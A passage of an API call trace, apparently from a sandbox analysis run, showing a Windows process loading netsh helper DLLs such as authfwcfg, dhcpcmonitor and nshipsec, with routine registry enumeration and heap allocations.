lpPoint=0x7ffcb5e55ae8 | out: lpPoint=0x7ffcb5e55ae8*(x=891, y=514)) returned 1 [0128.226] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x11aa58c1520 [0128.226] LocalReAlloc (hMem=0x11aa58b1360, uBytes=0x18, uFlags=0x2) returned 0x11aa58a5390 [0128.226] GetCurrentThread () returned 0xfffffffffffffffe [0128.226] GetCurrentThreadId () returned 0xfac [0128.226] __dllonexit () returned 0x7ffcb5d11620 [0128.226] SetErrorMode (uMode=0x0) returned 0x8001 [0128.226] SetErrorMode (uMode=0x8001) returned 0x0 [0128.226] GetModuleFileNameW (in: hModule=0x7ffcb5d10000, lpFilename=0x14708f6900, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0128.226] wcscpy_s (in: _Destination=0x14708f6b10, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0128.227] FindResourceW (hModule=0x7ffcb5d10000, lpName=0xe01, lpType=0x6) returned 0x11aa5ab0bb0 [0128.229] LoadStringW (in: hInstance=0x7ffcb5d10000, uID=0xe000, lpBuffer=0x14708f6d20, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0128.230] wcscpy_s (in: _Destination=0x14708f6934, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0128.230] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0128.231] malloc (_Size=0x80) returned 0x11aa5b86e00 [0128.231] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x11aa58c3190 [0128.231] GetSystemDirectoryA (in: lpBuffer=0x14708f6fa0, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0128.231] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0 [0128.231] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0 [0128.231] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0 [0128.231] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0128.234] GetProcAddress (hModule=0x7ffcb6ba0000, lpProcName="InitHelperDll") returned 0x7ffcb6bb5850 [0128.234] InitHelperDll () returned 0x0 [0128.235] RegisterHelper () returned 0x0 [0128.235] GetProcessHeap () returned 0x11aa58a0000 [0128.235] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x160) returned 0x11aa58bac80 [0128.235] GetProcessHeap () returned 0x11aa58a0000 [0128.235] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a42e0) returned 1 [0128.235] RegisterHelper () returned 0x0 [0128.235] GetProcessHeap () returned 0x11aa58a0000 [0128.235] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1b8) returned 0x11aa58bced0 [0128.235] GetProcessHeap () returned 0x11aa58a0000 [0128.235] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bac80) returned 1 [0128.246] RegisterHelper () returned 0x0 [0128.246] GetProcessHeap () returned 0x11aa58a0000 [0128.246] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x210) returned 0x11aa58bac80 [0128.246] GetProcessHeap () returned 0x11aa58a0000 [0128.246] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bced0) returned 1 [0128.246] RegisterHelper () returned 0x0 [0128.246] GetProcessHeap () returned 0x11aa58a0000 [0128.246] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x268) returned 0x11aa58bced0 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bac80) returned 1 [0128.247] RegisterHelper () returned 0x0 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x2c0) returned 0x11aa58c52a0 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bced0) returned 1 [0128.247] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="authfwcfg", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.247] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0128.247] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xa0) returned 0x11aa58a52d0 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x14) returned 0x11aa58b1460 [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1c) returned 0x11aa58b98d0 [0128.247] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0128.247] GetProcessHeap () returned 0x11aa58a0000 [0128.247] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a5030) returned 1 [0128.247] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6480000 [0128.273] GetProcAddress (hModule=0x7ffcb6480000, lpProcName="InitHelperDll") returned 0x7ffcb6481430 [0128.273] InitHelperDll () returned 0x0 [0128.276] RegisterHelper () returned 0x0 [0128.276] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x318) returned 0x11aa58bced0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c52a0) returned 1 [0128.277] RegisterHelper () returned 0x0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x370) returned 0x11aa58c5d80 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bced0) returned 1 [0128.277] RegisterHelper () returned 0x0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x3c8) returned 0x11aa58bced0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c5d80) returned 1 [0128.277] RegisterHelper () returned 0x0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x420) returned 0x11aa58c5d80 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bced0) returned 1 [0128.277] RegisterHelper () returned 0x0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x478) returned 0x11aa58bced0 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c5d80) returned 1 [0128.277] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="dhcpclient", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.277] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0128.277] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc8) returned 0x11aa58b8790 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x16) returned 0x11aa58c5820 [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x22) returned 0x11aa58b95a0 [0128.277] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0128.277] GetProcessHeap () returned 0x11aa58a0000 [0128.277] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a52d0) returned 1 [0128.277] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb75a0000 [0128.288] GetProcAddress (hModule=0x7ffcb75a0000, lpProcName="InitHelperDll") returned 0x7ffcb75a1610 [0128.288] InitHelperDll () returned 0x0 [0128.288] RegisterHelper () returned 0x0 [0128.288] GetProcessHeap () returned 0x11aa58a0000 [0128.288] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x4d0) returned 0x11aa58c6590 [0128.288] GetProcessHeap () returned 0x11aa58a0000 [0128.288] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bced0) returned 1 [0128.288] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="dot3cfg", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.289] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5 [0128.289] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5 [0128.289] GetProcessHeap () returned 0x11aa58a0000 [0128.289] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xf0) returned 0x11aa58a42e0 [0128.289] GetProcessHeap () returned 0x11aa58a0000 [0128.289] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58c5aa0 [0128.289] GetProcessHeap () returned 0x11aa58a0000 [0128.289] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58c5ba0 [0128.289] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL" [0128.289] GetProcessHeap () returned 0x11aa58a0000 [0128.289] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58b8790) returned 1 [0128.289] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6f40000 [0128.346] GetProcAddress (hModule=0x7ffcb6f40000, lpProcName="InitHelperDll") returned 0x7ffcb6f41100 [0128.346] InitHelperDll () returned 0x0 [0128.346] RegisterHelper () returned 0x0 [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x528) returned 0x11aa58c7280 [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c6590) returned 1 [0128.346] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="fwcfg", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.346] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0128.346] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x118) returned 0x11aa58bac80 [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xc) returned 0x11aa58c5a40 [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x14) returned 0x11aa58c5cc0 [0128.346] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0128.346] GetProcessHeap () returned 0x11aa58a0000 [0128.346] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58a42e0) returned 1 [0128.346] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb63a0000 [0128.356] GetProcAddress (hModule=0x7ffcb63a0000, lpProcName="InitHelperDll") returned 0x7ffcb63a11f0 [0128.356] InitHelperDll () returned 0x0 [0128.356] RegisterHelper () returned 0x0 [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x580) returned 0x11aa58c77b0 [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c7280) returned 1 [0128.356] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="hnetmon", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.356] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0128.356] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x140) returned 0x11aa58c7d40 [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58c5c80 [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58c5980 [0128.356] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0128.356] GetProcessHeap () returned 0x11aa58a0000 [0128.356] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bac80) returned 1 [0128.356] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb7590000 [0128.429] GetProcAddress (hModule=0x7ffcb7590000, lpProcName="InitHelperDll") returned 0x7ffcb7592060 [0128.429] InitHelperDll () returned 0x0 [0128.429] RegisterHelper () returned 0x0 [0128.429] GetProcessHeap () returned 0x11aa58a0000 [0128.429] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x5d8) returned 0x11aa58cf8b0 [0128.429] GetProcessHeap () returned 0x11aa58a0000 [0128.429] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c77b0) returned 1 [0128.429] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="netiohlp", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.430] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0128.430] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0128.430] GetProcessHeap () returned 0x11aa58a0000 [0128.430] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x168) returned 0x11aa58bac80 [0128.430] GetProcessHeap () returned 0x11aa58a0000 [0128.430] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58c5940 [0128.430] GetProcessHeap () returned 0x11aa58a0000 [0128.430] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58c6490 [0128.430] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0128.430] GetProcessHeap () returned 0x11aa58a0000 [0128.430] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c7d40) returned 1 [0128.430] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb5cd0000 [0128.447] GetProcAddress (hModule=0x7ffcb5cd0000, lpProcName="InitHelperDll") returned 0x7ffcb5ce5f80 [0128.447] InitHelperDll () returned 0x0 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x630) returned 0x11aa58c77b0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58cf8b0) returned 1 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x688) returned 0x11aa58d06a0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c77b0) returned 1 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x6e0) returned 0x11aa58d0d30 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d06a0) returned 1 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x738) returned 0x11aa58d1420 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d0d30) returned 1 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x790) returned 0x11aa58d06a0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d1420) returned 1 [0128.448] RegisterHelper () returned 0x0 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x7e8) returned 0x11aa58d0e40 [0128.448] GetProcessHeap () returned 0x11aa58a0000 [0128.448] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d06a0) returned 1 [0128.449] RegisterHelper () returned 0x0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x840) returned 0x11aa58d1630 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d0e40) returned 1 [0128.449] RegisterHelper () returned 0x0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x898) returned 0x11aa58d06a0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d1630) returned 1 [0128.449] RegisterHelper () returned 0x0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x8f0) returned 0x11aa58d0f40 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d06a0) returned 1 [0128.449] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="nettrace", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.449] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5 [0128.449] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x190) returned 0x11aa58c52a0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58c55c0 [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58d01e0 [0128.449] _wcsupr (in: _String="nettrace.dll" | out: _String="NETTRACE.DLL") returned="NETTRACE.DLL" [0128.449] GetProcessHeap () returned 0x11aa58a0000 [0128.449] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bac80) returned 1 [0128.449] LoadLibraryExW (lpLibFileName="NETTRACE.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca7a80000 [0128.525] GetProcAddress (hModule=0x7ffca7a80000, lpProcName="InitHelperDll") returned 0x7ffca7a815d0 [0128.525] InitHelperDll () returned 0x0 [0128.525] RegisterHelper () returned 0x0 [0128.525] GetProcessHeap () returned 0x11aa58a0000 [0128.525] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x948) returned 0x11aa58e80b0 [0128.525] GetProcessHeap () returned 0x11aa58a0000 [0128.525] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58d0f40) returned 1 [0128.525] RegEnumValueW (in: hKey=0xb4, dwIndex=0x9, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="nshhttp", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.525] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0128.525] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0128.525] GetProcessHeap () returned 0x11aa58a0000 [0128.525] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1b8) returned 0x11aa58bac80 [0128.526] GetProcessHeap () returned 0x11aa58a0000 [0128.526] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x10) returned 0x11aa58d0a10 [0128.526] GetProcessHeap () returned 0x11aa58a0000 [0128.526] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x18) returned 0x11aa58d0d90 [0128.526] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0128.526] GetProcessHeap () returned 0x11aa58a0000 [0128.526] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58c52a0) returned 1 [0128.526] LoadLibraryExW (lpLibFileName="NSHHTTP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6ca0000 [0128.541] GetProcAddress (hModule=0x7ffcb6ca0000, lpProcName="InitHelperDll") returned 0x7ffcb6ca10e0 [0128.541] InitHelperDll () returned 0x0 [0128.541] RegisterHelper () returned 0x0 [0128.541] GetProcessHeap () returned 0x11aa58a0000 [0128.541] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x9a0) returned 0x11aa58e8a00 [0128.541] GetProcessHeap () returned 0x11aa58a0000 [0128.541] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e80b0) returned 1 [0128.541] RegEnumValueW (in: hKey=0xb4, dwIndex=0xa, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="nshipsec", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978) returned 0x0 [0128.542] _wcsicmp (_String1="nshipsec.dll", _String2="ipxmontr.dll") returned 5 [0128.542] _wcsicmp (_String1="nshipsec.dll", _String2="ipxpromn.dll") returned 5 [0128.542] GetProcessHeap () returned 0x11aa58a0000 [0128.542] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1e0) returned 0x11aa58c52a0 [0128.542] GetProcessHeap () returned 0x11aa58a0000 [0128.542] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x12) returned 0x11aa58d0a50 [0128.542] GetProcessHeap () returned 0x11aa58a0000 [0128.542] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x1a) returned 0x11aa58d6b40 [0128.542] _wcsupr (in: _String="nshipsec.dll" | out: _String="NSHIPSEC.DLL") returned="NSHIPSEC.DLL" [0128.542] GetProcessHeap () returned 0x11aa58a0000 [0128.542] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58bac80) returned 1 [0128.542] LoadLibraryExW (lpLibFileName="NSHIPSEC.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffca79c0000 [0128.595] GetProcAddress (hModule=0x7ffca79c0000, lpProcName="InitHelperDll") returned 0x7ffca79c1250 [0128.595] InitHelperDll () returned 0x0 [0128.595] RegisterHelper () returned 0x0 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0x9f8) returned 0x11aa58e93b0 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e8a00) returned 1 [0128.595] RegisterHelper () returned 0x0 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xa50) returned 0x11aa58e80b0 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e93b0) returned 1 [0128.595] RegisterHelper () returned 0x0 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlAllocateHeap (HeapHandle=0x11aa58a0000, Flags=0x0, Size=0xaa8) returned 0x11aa58e8b10 [0128.595] GetProcessHeap () returned 0x11aa58a0000 [0128.595] RtlFreeHeap (HeapHandle=0x11aa58a0000, Flags=0x0, BaseAddress=0x11aa58e80b0) returned 1 [0128.604] RegEnumValueW (in: hKey=0xb4, dwIndex=0xb, lpValueName=0x11aa58b1240, lpcchValueName=0x14708f7920, lpReserved=0x0, lpType=0x0, lpData=0x11aa58ab880, lpcbData=0x14708f7978 | out: lpValueName="nshwfp", lpcchValueName=0x14708f7920, lpType=0x0, lpData=0x11aa58ab880, 